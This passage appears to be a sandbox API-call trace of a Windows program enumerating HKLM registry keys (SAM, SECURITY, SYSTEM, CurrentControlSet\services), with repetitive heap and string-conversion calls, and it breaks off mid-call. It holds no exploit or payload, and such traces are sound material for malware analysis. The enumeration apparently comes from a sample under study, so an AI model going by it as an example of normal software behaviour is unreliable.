[0253.716] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0253.716] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.716] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x21f1a00, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0253.716] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.716] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.716] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.716] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.716] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0253.716] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.716] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.716] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.716] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x21f1e38, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0253.716] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.716] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.716] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.716] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.716] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0253.716] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.716] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0253.716] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.716] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x21f1a00, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0253.716] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.716] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.716] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.716] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.716] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0253.716] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.717] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.717] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.717] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x21f1e38, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0253.717] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.717] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.717] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.717] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.717] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0253.717] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.717] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.717] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.717] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0253.717] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.717] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.717] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.717] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.717] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0253.717] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.717] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0253.717] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.717] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x21f1e38, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0253.717] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.717] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.717] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.717] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.717] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0253.717] RegCloseKey (hKey=0x80000002) returned 0x0 [0253.717] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0253.717] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.718] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0253.718] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.718] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x21f1a00, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset001", lpUsedDefaultChar=0x0) returned 13 [0253.718] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.718] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.718] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.718] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.718] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0253.718] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.718] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0253.718] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.718] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x21f1e38, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset002", lpUsedDefaultChar=0x0) returned 13 [0253.718] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.718] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.718] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.718] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.718] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0253.718] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.718] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0253.718] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.718] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x21f1a00, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mounteddevices", lpUsedDefaultChar=0x0) returned 14 [0253.718] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.718] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.718] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.718] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.718] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0253.718] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.718] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0253.718] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.718] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x21f1e38, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rng", lpUsedDefaultChar=0x0) returned 3 [0253.718] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.718] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.718] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.719] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.719] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0253.719] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.719] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0253.719] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.719] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x21f1a00, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="select", lpUsedDefaultChar=0x0) returned 6 [0253.719] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.719] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.719] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.719] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.719] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0253.719] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.719] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0253.719] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.719] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x21f1e38, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setup", lpUsedDefaultChar=0x0) returned 5 [0253.719] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.719] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.719] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.719] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.719] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0253.719] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.719] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.719] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.719] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0253.719] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.719] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.719] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.719] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.719] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0253.719] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.719] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0253.719] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.720] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x21f1e38, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wpa", lpUsedDefaultChar=0x0) returned 3 [0253.720] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.720] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.720] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.720] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.720] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0253.720] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.720] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0253.720] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.720] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x21f1a00, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentcontrolset", lpUsedDefaultChar=0x0) returned 17 [0253.720] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.720] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.720] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.720] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.720] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x14c) returned 0x0 [0253.720] RegCloseKey (hKey=0xc4) returned 0x0 [0253.720] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0253.720] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.720] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0253.720] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.720] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x21f1e38, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control", lpUsedDefaultChar=0x0) returned 7 [0253.720] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.720] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.720] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.720] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.720] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0253.720] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.720] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0253.720] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.720] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x21f1a00, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enum", lpUsedDefaultChar=0x0) returned 4 [0253.721] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.721] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.721] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.721] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.721] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0253.721] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.721] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0253.721] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.721] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x21f1e38, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware profiles", lpUsedDefaultChar=0x0) returned 17 [0253.721] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.721] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.721] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.721] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.721] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0253.721] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.721] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.721] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.721] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0253.721] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.721] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.721] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.721] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.721] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0253.721] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.721] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.721] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.721] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x21f1e38, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="services", lpUsedDefaultChar=0x0) returned 8 [0253.721] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.721] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.721] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.721] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.721] RegOpenKeyExW (in: hKey=0x14c, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0253.722] RegCloseKey (hKey=0x14c) returned 0x0 [0253.722] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0253.722] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.722] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0253.722] RtlAllocateHeap (HeapHandle=0x2520000, 